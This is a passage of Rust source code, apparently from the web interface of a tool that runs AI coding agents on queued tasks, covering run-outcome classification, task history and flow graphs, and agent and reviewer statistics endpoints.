4579 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4580 let Some(s) = s else {
4581 return Self::Unreadable;
4582 };
4583 let status = s.status;
4584 if resumed_later {
4585 Self::Interrupted
4586 } else if s.parked {
4587 Self::Parked
4588 } else if !status.done() {
4589 Self::InProgress
4590 } else if matches!(status, RunStatus::Merged) {
4591 Self::Merged
4592 } else if matches!(status, RunStatus::Ready) {
4593 Self::Ready
4594 } else if matches!(status, RunStatus::Superseded) {
4595 Self::Superseded
4596 } else if matches!(status, RunStatus::AlreadyInBase) {
4597 Self::AlreadyInBase
4598 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4599 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4600 {
4601 if resumed {
4602 Self::ResumedQuotaStall
4603 } else {
4604 Self::QuotaStall
4605 }
4606 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4607 Self::HeldWithPr
4608 } else if matches!(status, RunStatus::VerifiedNoop) {
4609 Self::NoopHeld
4610 } else if matches!(status, RunStatus::Stalled) {
4611 Self::Stalled
4612 } else {
4613 Self::Spent
4614 }
4615 }
4616
4617 fn cost(self) -> AttemptCost {
4618 match self {
4619 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4620 Self::Merged
4621 | Self::Ready
4622 | Self::Stalled
4623 | Self::HeldWithPr
4624 | Self::NoopHeld
4625 | Self::Spent => AttemptCost::Spent,
4626 Self::InProgress => AttemptCost::None,
4627 Self::AlreadyInBase => AttemptCost::Refunded,
4628 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4629 AttemptCost::Unknown
4630 }
4631 }
4632 }
4633
4634 fn edge_label(self, status: Option<&str>) -> String {
4636 match self {
4637 Self::Unreadable => "record unreadable".to_owned(),
4638 Self::Interrupted => "interrupted before the run finished".to_owned(),
4639 Self::Parked => "parked, attempt refunded".to_owned(),
4640 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4641 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4642 Self::Merged => "merged".to_owned(),
4643 Self::Ready => "ready, not merged".to_owned(),
4644 Self::Superseded => "superseded by a later attempt".to_owned(),
4645 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4646 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4647 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4648 Self::NoopHeld => "verified no-op".to_owned(),
4649 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4650 Self::InProgress => "in progress".to_owned(),
4651 }
4652 }
4653
4654 fn explains(self, end: TaskStatus) -> bool {
4657 match self {
4658 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4659 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4660 Self::Unreadable | Self::Superseded | Self::Ready => true,
4661 _ => end != TaskStatus::Done,
4662 }
4663 }
4664}
4665
4666#[derive(Debug, Serialize)]
4668struct TaskDetailView {
4669 #[serde(flatten)]
4670 task: TaskView,
4671 max_attempts: usize,
4674 history: Vec<TaskRunView>,
4675 passes_total: usize,
4678 runs_distinct: usize,
4680 flow: FlowView,
4681 followup_origin: Option<FollowUpOrigin>,
4683 runs_unreadable: usize,
4685 attempts_note: &'static str,
4687}
4688
4689const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4690and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4691on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4692the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4693
4694fn review_branch_of(instruction: &str) -> Option<&str> {
4697 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4698 rest.split('`').next().filter(|b| !b.is_empty())
4699}
4700
4701#[derive(Default)]
4703struct RunSlot<'a> {
4704 n: usize,
4706 resumed: bool,
4708 resumed_later: Option<usize>,
4710 prior: Option<(&'a str, RunStatus)>,
4712 last: bool,
4713 pass: Option<&'a crate::run::RunPass>,
4715 settled: Option<&'a crate::queue::TaskPass>,
4717 pass_n: usize,
4719 passes_of_run: usize,
4720}
4721
4722fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4725 let RunSlot {
4726 n,
4727 resumed,
4728 resumed_later,
4729 prior,
4730 last,
4731 pass,
4732 settled,
4733 pass_n,
4734 passes_of_run,
4735 } = at;
4736 let short = run::short_of(id).to_owned();
4737 let Some(s) = state else {
4738 return TaskRunView {
4739 n,
4740 id: id.to_owned(),
4741 short,
4742 kind: "unknown",
4743 status: None,
4744 readable: false,
4745 provisional: false,
4746 description:
4747 "This run's record could not be read by this build (written by a different \
4748 magi, or removed), so what kind of attempt it was is unknown."
4749 .to_owned(),
4750 outcome: String::new(),
4751 created_at: None,
4752 pr: None,
4753 exit: RunExit::Unreadable,
4754 attempt: AttemptCost::Unknown,
4755 exit_label: RunExit::Unreadable.edge_label(None),
4756 later_pass: resumed_later,
4757 pass_n,
4758 passes_of_run,
4759 pass: None,
4760 branch: None,
4761 };
4762 };
4763 let branch = review_branch_of(&s.instruction);
4764 let kind = if resumed {
4765 "resume"
4766 } else if branch.is_some() {
4767 "review"
4768 } else if task.solo || s.candidates.len() == 1 {
4769 "solo"
4770 } else {
4771 "competition"
4772 };
4773 let mut description = match kind {
4774 "resume" => {
4775 format!("Resumed run {short}: the same run carried on instead of competing again.")
4776 }
4777 "review" => format!(
4778 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4779 branch.unwrap_or_default()
4780 ),
4781 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4782 _ => format!(
4783 "Competition: {} candidates judged blind.",
4784 s.candidates.len().max(1)
4785 ),
4786 };
4787 if !resumed && let Some((p, st)) = prior {
4788 description.push_str(&format!(
4789 " A retry: run {p} before it ended {}.",
4790 st.display_label()
4791 ));
4792 }
4793
4794 let status = s.status;
4795 let provisional = matches!(status, RunStatus::Stalled)
4796 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4797 let head = if resumed_later.is_some() {
4798 String::new()
4799 } else {
4800 match status {
4801 RunStatus::Merged => "Merged.".to_owned(),
4802 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4803 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4804 RunStatus::AlreadyInBase => {
4805 "Already in the base: this change landed under other commits, nothing was left to land."
4806 .to_owned()
4807 }
4808 RunStatus::Stalled => {
4809 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4810 .to_owned()
4811 }
4812 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4813 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4814 RunStatus::VerifiedNoop => {
4815 "Verified no-op: the candidates found nothing to change.".to_owned()
4816 }
4817 other if other.done() => format!("Ended {}.", other.display_label()),
4818 other => format!("In progress ({}).", other.display_label()),
4819 }
4820 };
4821 let view = pass.map(|p| PassView::of(p, settled));
4822 let recorded_end = view
4823 .as_ref()
4824 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4825 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4826 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4827 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4828 None => "whether its attempt was handed back was not recorded",
4829 };
4830 let pass_note = if passes_of_run > 1 {
4831 format!(
4832 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4833 )
4834 } else {
4835 String::new()
4836 };
4837 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4838 let cause = match v.end {
4840 "parked" => format!("It was stopped on purpose: {}.", v.label),
4841 _ => format!("It {}.", v.label),
4842 };
4843 format!(
4844 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4845 capitalise(cost_words)
4846 )
4847 } else if let Some(k) = resumed_later {
4848 let cause = if s.quota.is_empty() {
4855 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4856 } else {
4857 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4858 };
4859 format!(
4860 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4861 )
4862 } else if s.parked {
4863 match recorded_end.and_then(|v| v.cause.as_ref()) {
4864 Some(cause) => format!(
4865 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4866 cause.label(),
4867 cost_words
4868 ),
4869 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4870 .to_owned(),
4871 }
4872 } else if !status.done()
4873 || matches!(
4874 status,
4875 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4876 )
4877 {
4878 String::new()
4879 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4880 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4881 {
4882 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4883 .to_owned()
4884 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4885 " It left a pull request open, so the task was held for a person rather than retried."
4886 .to_owned()
4887 } else if matches!(status, RunStatus::VerifiedNoop) {
4888 " Held for a person to check the claim.".to_owned()
4889 } else if last {
4890 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4891 } else {
4892 " It spent an attempt, and the task moved on to the next run.".to_owned()
4893 };
4894 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4895 let mut attempt = exit.cost();
4896 let mut exit_label = None;
4897 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4898 let spent = match v.cost {
4899 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4900 Some(crate::queue::PassCost::Spent) => ", attempt counted",
4901 None if resumed_later.is_some() => ", refund not recorded",
4902 None => ", attempt refunded",
4903 };
4904 attempt = match v.cost {
4905 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4906 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4907 None if resumed_later.is_some() => AttemptCost::Unknown,
4908 None => attempt,
4909 };
4910 if v.end == "parked" {
4911 exit = RunExit::Parked;
4912 exit_label = Some(match v.cause.as_ref() {
4913 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4914 format!("parked for {}{spent}", c.label())
4915 }
4916 Some(c) => format!("parked ({}){spent}", c.label()),
4917 None => format!("parked{spent}"),
4918 });
4919 } else {
4920 exit_label = Some(format!("stopped without a recorded cause{spent}"));
4921 }
4922 }
4923 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4924 TaskRunView {
4925 n,
4926 id: id.to_owned(),
4927 short,
4928 kind,
4929 status: Some(status.as_str()),
4930 readable: true,
4931 provisional,
4932 description,
4933 outcome: format!("{head}{why}"),
4934 created_at: Some(s.created_at),
4935 pr: s.pr.as_ref().map(|p| p.url.clone()),
4936 exit,
4937 attempt,
4938 exit_label,
4939 later_pass: resumed_later,
4940 pass_n,
4941 passes_of_run,
4942 pass: view,
4943 branch: branch.map(str::to_owned),
4944 }
4945}
4946
4947fn capitalise(s: &str) -> String {
4948 let mut c = s.chars();
4949 c.next().map_or_else(String::new, |f| {
4950 f.to_uppercase().collect::<String>() + c.as_str()
4951 })
4952}
4953
4954#[derive(Debug, Serialize, PartialEq)]
4956struct FlowNode {
4957 key: String,
4959 kind: &'static str,
4961 label: String,
4962 status: Option<&'static str>,
4965 status_of: &'static str,
4968 note: Option<&'static str>,
4970 run_kind: Option<&'static str>,
4971 detail: Option<String>,
4972 decided: bool,
4974 readable: bool,
4975 href: Option<String>,
4976}
4977
4978#[derive(Debug, Serialize, PartialEq)]
4979struct FlowEdge {
4980 from: String,
4981 to: String,
4982 label: String,
4983 attempt: AttemptCost,
4984}
4985
4986#[derive(Debug, Serialize, PartialEq)]
4987struct FlowView {
4988 nodes: Vec<FlowNode>,
4989 edges: Vec<FlowEdge>,
4990 attempts: usize,
4992 max_attempts: usize,
4993 passes: usize,
4996 runs: usize,
4997}
4998
4999fn task_flow(
5008 task: &Task,
5009 history: &[TaskRunView],
5010 max_attempts: usize,
5011 origin: Option<&FollowUpOrigin>,
5012) -> FlowView {
5013 let node = |key: &str, kind, label: String| FlowNode {
5014 key: key.to_owned(),
5015 kind,
5016 label,
5017 status: None,
5018 status_of: "run",
5019 note: None,
5020 run_kind: None,
5021 detail: None,
5022 decided: false,
5023 readable: true,
5024 href: None,
5025 };
5026 let mut nodes = Vec::new();
5027 let mut edges: Vec<FlowEdge> = Vec::new();
5028 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5030 let mut n = node(
5031 "chat",
5032 "chat",
5033 format!("Chat {}", crate::queue::short(&link.id)),
5034 );
5035 n.href = Some(link.href);
5036 nodes.push(n);
5037 edges.push(FlowEdge {
5038 from: "chat".to_owned(),
5039 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5040 label: "queued from chat".to_owned(),
5041 attempt: AttemptCost::None,
5042 });
5043 }
5044 if let Some(o) = origin {
5045 let mut n = match &o.parent {
5046 Some(p) => {
5047 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5048 n.status = Some(p.status);
5049 n.status_of = "task";
5050 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5051 n.href = Some(p.href.clone());
5052 n
5053 }
5054 None => {
5055 let mut n = node(
5056 "origin",
5057 "followup",
5058 format!("Follow-up of run {}", o.run.short),
5059 );
5060 n.detail = Some("merged run".to_owned());
5061 n.status = o.run.status;
5062 n.href = o.run.href.clone();
5063 if o.run.href.is_none() {
5064 n.readable = false;
5065 n.note = Some("unreadable");
5066 }
5067 n
5068 }
5069 };
5070 n.decided = true;
5071 let from = n.key.clone();
5072 nodes.push(n);
5073 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5074 let more = o.findings.len().saturating_sub(shown.len());
5075 let label = match (shown.is_empty(), more) {
5076 (true, _) => "open findings".to_owned(),
5077 (false, 0) => format!("open findings {}", shown.join(", ")),
5078 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5079 };
5080 edges.push(FlowEdge {
5081 from,
5082 to: "start".to_owned(),
5083 label,
5084 attempt: AttemptCost::None,
5085 });
5086 }
5087 nodes.push(node("start", "start", "Task queued".to_owned()));
5088 let mut prev = "start".to_owned();
5089 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5090 for (i, h) in history.iter().enumerate() {
5091 let key = format!("run-{}", h.n);
5092 let mut n = node(&key, "run", format!("Run {}", h.short));
5093 n.run_kind = Some(h.kind);
5094 n.readable = h.readable;
5095 n.href = Some(format!("#/runs/{}", h.id));
5096 n.decided = h.readable && !h.provisional;
5097 n.detail = h
5098 .branch
5099 .as_ref()
5100 .map(|b| format!("review-only run of branch {b}"));
5101 match h.exit {
5102 RunExit::Unreadable => n.note = Some("unreadable"),
5103 RunExit::Interrupted => n.note = Some("interrupted"),
5104 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5107 _ => {
5108 n.status = h.status;
5109 if h.provisional {
5110 n.note = Some("no verdict");
5111 }
5112 }
5113 }
5114 let into = match h.kind {
5115 "review" => Some(format!(
5116 "review-only run of branch {}",
5117 h.branch.as_deref().unwrap_or("?")
5118 )),
5119 "resume" => Some("resume the same run".to_owned()),
5120 _ if i > 0 => Some("retry".to_owned()),
5121 _ => None,
5122 };
5123 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5124 let label = match (prev_exit, into) {
5125 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5126 (Some((_, l, _)), None) => l,
5127 (None, Some(i)) => i,
5128 (None, None) => "claimed".to_owned(),
5129 };
5130 edges.push(FlowEdge {
5131 from: prev.clone(),
5132 to: key.clone(),
5133 label,
5134 attempt,
5135 });
5136 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5137 prev = key;
5138 nodes.push(n);
5139 }
5140 let mut end = node("end", "end", task.status.as_str().to_owned());
5141 end.status = Some(task.status.as_str());
5142 end.status_of = "task";
5143 nodes.push(end);
5144 let (label, attempt) = match prev_exit {
5145 None => (
5146 format!("no run yet \u{2192} {}", task.status.as_str()),
5147 AttemptCost::None,
5148 ),
5149 Some((e, l, cost)) if e.explains(task.status) => {
5150 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5151 }
5152 Some((_, _, cost)) => (
5153 format!("closed by hand: task is {}", task.status.as_str()),
5154 cost,
5155 ),
5156 };
5157 edges.push(FlowEdge {
5158 from: prev,
5159 to: "end".to_owned(),
5160 label,
5161 attempt,
5162 });
5163 FlowView {
5164 nodes,
5165 edges,
5166 attempts: task.attempts,
5167 max_attempts,
5168 passes: history.len(),
5169 runs: distinct_runs(&task.runs),
5170 }
5171}
5172
5173fn distinct_runs(runs: &[String]) -> usize {
5175 let mut seen: Vec<&str> = Vec::new();
5176 for r in runs {
5177 if !seen.contains(&r.as_str()) {
5178 seen.push(r);
5179 }
5180 }
5181 seen.len()
5182}
5183
5184fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5187 let mut history = Vec::with_capacity(task.runs.len());
5188 let mut seen: Vec<&str> = Vec::new();
5189 let mut prior: Option<(&str, RunStatus)> = None;
5190 for (i, run_id) in task.runs.iter().enumerate() {
5191 let state = read(run_id);
5192 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5193 let resumed = k > 0;
5194 seen.push(run_id);
5195 let total = task.runs.iter().filter(|r| *r == run_id).count();
5196 let pass = state.as_ref().and_then(|s| {
5202 let mine: Vec<&crate::run::RunPass> = s
5203 .passes
5204 .iter()
5205 .filter(|p| {
5206 p.task_entry
5207 || task
5208 .passes
5209 .iter()
5210 .any(|t| t.run == *run_id && t.pass_index == p.index)
5211 })
5212 .collect();
5213 let offset = total.checked_sub(mine.len())?;
5214 mine.get(k.checked_sub(offset)?).copied()
5215 });
5216 let settled = pass.and_then(|p| {
5217 task.passes
5218 .iter()
5219 .find(|t| t.run == *run_id && t.pass_index == p.index)
5220 });
5221 history.push(task_run_view(
5222 run_id,
5223 state.as_ref(),
5224 RunSlot {
5225 n: i + 1,
5226 resumed,
5227 resumed_later: task.runs[i + 1..]
5228 .iter()
5229 .position(|r| r == run_id)
5230 .map(|off| i + off + 2),
5231 prior,
5232 last: i + 1 == task.runs.len(),
5233 pass,
5234 settled,
5235 pass_n: k + 1,
5236 passes_of_run: total,
5237 },
5238 task,
5239 ));
5240 if let Some(s) = &state {
5241 prior = Some((run::short_of(run_id), s.status));
5242 }
5243 }
5244 history
5245}
5246
5247async fn task_detail(
5248 State(ui): State<Arc<Ui>>,
5249 Path(id): Path<String>,
5250) -> ApiResult<Json<TaskDetailView>> {
5251 blocking(move || {
5252 let id = resolve_task(&ui.queue, &id)?;
5253 let task = ui
5254 .queue
5255 .get(&id)
5256 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5257 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
5258 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5259 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5260 let max_attempts = daemon::Opts::default().max_attempts;
5261 let origin = task.followup.as_ref().map(|fu| {
5262 followup_origin(
5263 fu,
5264 |tid| ui.queue.get(tid).ok(),
5265 |rid| read_run(&ui.runs, rid).ok(),
5266 )
5267 });
5268 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5269 Ok(Json(TaskDetailView {
5270 max_attempts,
5271 flow,
5272 followup_origin: origin,
5273 passes_total: history.len(),
5274 runs_distinct: distinct_runs(&task.runs),
5275 history,
5276 runs_unreadable,
5277 attempts_note: ATTEMPTS_NOTE,
5278 task: TaskView::with_inventory(task, &inv),
5279 }))
5280 })
5281 .await
5282}
5283
5284#[derive(Debug, Serialize)]
5288struct RateView {
5289 pct: f64,
5290 denominator: usize,
5291}
5292
5293impl RateView {
5294 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5295 (denominator > 0).then(|| Self {
5296 pct: 100.0 * numerator as f64 / denominator as f64,
5297 denominator,
5298 })
5299 }
5300}
5301
5302#[derive(Debug, Serialize)]
5307struct StatsTotalsView {
5308 runs: usize,
5309 merged: usize,
5310 ready: usize,
5311 blocked: usize,
5312 failed: usize,
5313 stalled: usize,
5314 verified_noop: usize,
5315 superseded: usize,
5316 in_progress: usize,
5317 completion_rate: Option<RateView>,
5318 tallied: usize,
5319 split: usize,
5320 split_rate: Option<RateView>,
5321 deliberated: usize,
5322 minds_changed: usize,
5323 converged: usize,
5324 review_rounds: usize,
5325}
5326
5327impl From<&stats::Totals> for StatsTotalsView {
5328 fn from(t: &stats::Totals) -> Self {
5329 Self {
5330 runs: t.runs,
5331 merged: t.merged,
5332 ready: t.ready,
5333 blocked: t.blocked,
5334 failed: t.failed,
5335 stalled: t.stalled,
5336 verified_noop: t.verified_noop,
5337 superseded: t.superseded,
5338 in_progress: t.in_progress,
5339 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5340 tallied: t.tallied,
5341 split: t.split,
5342 split_rate: RateView::of(t.split, t.tallied),
5343 deliberated: t.deliberated,
5344 minds_changed: t.minds_changed,
5345 converged: t.converged,
5346 review_rounds: t.review_rounds,
5347 }
5348 }
5349}
5350
5351#[derive(Debug, Serialize)]
5353struct AgentStatsView {
5354 agent: String,
5355 entered: usize,
5356 wins: usize,
5357 empty: usize,
5358 win_rate: Option<RateView>,
5359 competitive_entered: usize,
5360 competitive_wins: usize,
5361 competitive_win_rate: Option<RateView>,
5362 solo_entered: usize,
5363 solo_adopted: usize,
5364 solo_adoption_rate: Option<RateView>,
5365}
5366
5367impl From<&stats::AgentStats> for AgentStatsView {
5368 fn from(a: &stats::AgentStats) -> Self {
5369 Self {
5370 agent: a.agent.clone(),
5371 entered: a.entered,
5372 wins: a.wins,
5373 empty: a.empty,
5374 win_rate: RateView::of(a.wins, a.entered),
5375 competitive_entered: a.competitive_entered,
5376 competitive_wins: a.competitive_wins,
5377 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5378 solo_entered: a.solo_entered,
5379 solo_adopted: a.solo_adopted,
5380 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5381 }
5382 }
5383}
5384
5385#[derive(Debug, Serialize)]
5389struct ReviewerStatsView {
5390 agent: String,
5391 rounds: usize,
5392 seated: usize,
5393 submitted: usize,
5394 adopted: usize,
5395 unique: usize,
5396 timeouts: usize,
5397 adopted_per_round: Option<f64>,
5398 precision: Option<RateView>,
5399 unique_rate: Option<RateView>,
5400 timeout_rate: Option<RateView>,
5401}
5402
5403impl From<&stats::ReviewerStats> for ReviewerStatsView {
5404 fn from(r: &stats::ReviewerStats) -> Self {
5405 Self {
5406 agent: r.agent.clone(),
5407 rounds: r.rounds,
5408 seated: r.seated,
5409 submitted: r.submitted,
5410 adopted: r.adopted,
5411 unique: r.unique,
5412 timeouts: r.timeouts,
5413 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5414 precision: RateView::of(r.adopted, r.submitted),
5415 unique_rate: RateView::of(r.unique, r.submitted),
5416 timeout_rate: RateView::of(r.timeouts, r.seated),
5417 }
5418 }
5419}
5420
5421#[derive(Debug, Serialize)]
5427struct AdvisorStatsView {
5428 agent: String,
5429 seated: usize,
5430 proposed: usize,
5431 absent: usize,
5432 faint: usize,
5433 strong: usize,
5434 reflection_rate: Option<RateView>,
5435}
5436
5437impl From<&stats::AdvisorStats> for AdvisorStatsView {
5438 fn from(a: &stats::AdvisorStats) -> Self {
5439 Self {
5440 agent: a.agent.clone(),
5441 seated: a.seated,
5442 proposed: a.proposed,
5443 absent: a.absent,
5444 faint: a.faint,
5445 strong: a.strong,
5446 reflection_rate: RateView::of(a.strong, a.proposed),
5447 }
5448 }
5449}
5450
5451#[derive(Debug, Serialize)]
5453struct E2eStatsView {
5454 rounds: usize,
5455 failures: usize,
5456 sole_detections: usize,
5457 deferred: usize,
5458 sole_rate: Option<RateView>,
5459}
5460
5461impl From<&stats::E2eStats> for E2eStatsView {
5462 fn from(e: &stats::E2eStats) -> Self {
5463 Self {
5464 rounds: e.rounds,
5465 failures: e.failures,
5466 sole_detections: e.sole_detections,
5467 deferred: e.deferred,
5468 sole_rate: RateView::of(e.sole_detections, e.failures),
5469 }
5470 }
5471}
5472
5473#[derive(Debug, Serialize)]
5481struct ReleaseBumpStatsView {
5482 merged: usize,
5483 recorded: usize,
5484 pr_opened: usize,
5485 automerge_enabled: usize,
5486 merged_directly: usize,
5487 needs_attention: usize,
5488 clean: usize,
5489 coverage_rate: Option<RateView>,
5490 automerge_rate: Option<RateView>,
5491 attention_rate: Option<RateView>,
5492}
5493
5494impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5495 fn from(b: &stats::ReleaseBumpStats) -> Self {
5496 Self {
5497 merged: b.merged,
5498 recorded: b.recorded,
5499 pr_opened: b.pr_opened,
5500 automerge_enabled: b.automerge_enabled,
5501 merged_directly: b.merged_directly,
5502 needs_attention: b.needs_attention,
5503 clean: b.clean(),
5504 coverage_rate: RateView::of(b.recorded, b.merged),
5505 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5506 attention_rate: RateView::of(b.needs_attention, b.recorded),
5507 }
5508 }
5509}
5510
5511#[derive(Debug, Serialize)]
5513struct TaskCountsView {
5514 queued: usize,
5515 running: usize,
5516 done: usize,
5517 failed: usize,
5518 held: usize,
5519 blocked: usize,
5520 parked: usize,
5521}
5522
5523impl From<crate::queue::TaskCounts> for TaskCountsView {
5524 fn from(c: crate::queue::TaskCounts) -> Self {
5525 Self {
5526 queued: c.queued,
5527 running: c.running,
5528 done: c.done,
5529 failed: c.failed,
5530 held: c.held,
5531 blocked: c.blocked,
5532 parked: c.parked,
5533 }
5534 }
5535}
5536
5537#[derive(Debug, Serialize)]
5543struct RepoSummaryView {
5544 repo: String,
5547 name: String,
5549 runs: usize,
5550 completion_rate: Option<RateView>,
5551}
5552
5553impl From<&stats::RepoStats> for RepoSummaryView {
5554 fn from(r: &stats::RepoStats) -> Self {
5555 let t = &r.stats.totals;
5556 Self {
5557 repo: r.repo.to_string_lossy().into_owned(),
5558 name: r.name.clone(),
5559 runs: t.runs,
5560 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5561 }
5562 }
5563}
5564
5565#[derive(Debug, Serialize)]
5571struct StatsView {
5572 totals: StatsTotalsView,
5573 agents: Vec<AgentStatsView>,
5575 reviewers: Vec<ReviewerStatsView>,
5577 advisors: Vec<AdvisorStatsView>,
5579 e2e: E2eStatsView,
5580 release_bumps: ReleaseBumpStatsView,
5581 queue: TaskCountsView,
5582 runs_unreadable: usize,
5592 repos: Vec<RepoSummaryView>,
5596 daily: Vec<DailyStatsView>,
5601 repo: Option<String>,
5605 retired_hidden: Vec<String>,
5609}
5610
5611#[derive(Debug, Serialize)]
5613struct DailyStatsView {
5614 date: String,
5616 runs: usize,
5617 merged: usize,
5618 ready: usize,
5619 other: usize,
5620 completion_rate: Option<RateView>,
5622}
5623
5624impl From<&stats::DayBucket> for DailyStatsView {
5625 fn from(b: &stats::DayBucket) -> Self {
5626 Self {
5627 date: b.date.to_string(),
5628 runs: b.runs,
5629 merged: b.merged,
5630 ready: b.ready,
5631 other: b.other,
5632 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5633 }
5634 }
5635}
5636
5637const STATS_DAILY_DAYS: usize = 30;
5639
5640#[derive(Debug, Default, Deserialize)]
5649#[serde(default)]
5650struct StatsQuery {
5651 repo: Option<String>,
5652 all: bool,
5654}
5655
5656async fn stats_get(
5663 State(ui): State<Arc<Ui>>,
5664 Query(q): Query<StatsQuery>,
5665) -> ApiResult<Json<StatsView>> {
5666 blocking(move || {
5667 let states: Vec<RunState> = run_ids(&ui.runs)
5668 .into_iter()
5669 .filter_map(|id| read_run(&ui.runs, &id).ok())
5670 .collect();
5671 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5672 .iter()
5673 .map(RepoSummaryView::from)
5674 .collect();
5675 let mut scoped: Vec<&RunState> = states.iter().collect();
5676 let mut collected = match &q.repo {
5677 Some(repo) => {
5678 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5679 if filtered.is_empty() {
5680 return Err(ApiError::not_found(format!(
5681 "no runs recorded against repo `{repo}`"
5682 )));
5683 }
5684 scoped = filtered.clone();
5685 stats::collect_refs(filtered)
5686 }
5687 None => stats::collect(&states),
5688 };
5689 if !q.all {
5690 let repo = q
5691 .repo
5692 .as_deref()
5693 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5694 stats::retain_current_roster(&mut collected, &repo);
5695 }
5696 let daily = stats::daily(
5697 scoped,
5698 jiff::Zoned::now().date(),
5699 &jiff::tz::TimeZone::system(),
5700 STATS_DAILY_DAYS,
5701 );
5702 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5703 Ok(Json(StatsView {
5704 totals: StatsTotalsView::from(&collected.totals),
5705 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5706 reviewers: collected
5707 .reviewers
5708 .iter()
5709 .map(ReviewerStatsView::from)
5710 .collect(),
5711 advisors: collected
5712 .advisors
5713 .iter()
5714 .map(AdvisorStatsView::from)
5715 .collect(),
5716 e2e: E2eStatsView::from(&collected.e2e),
5717 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5718 queue: TaskCountsView::from(queue_counts),
5719 runs_unreadable: runs_unreadable(&ui.runs),
5720 repos,
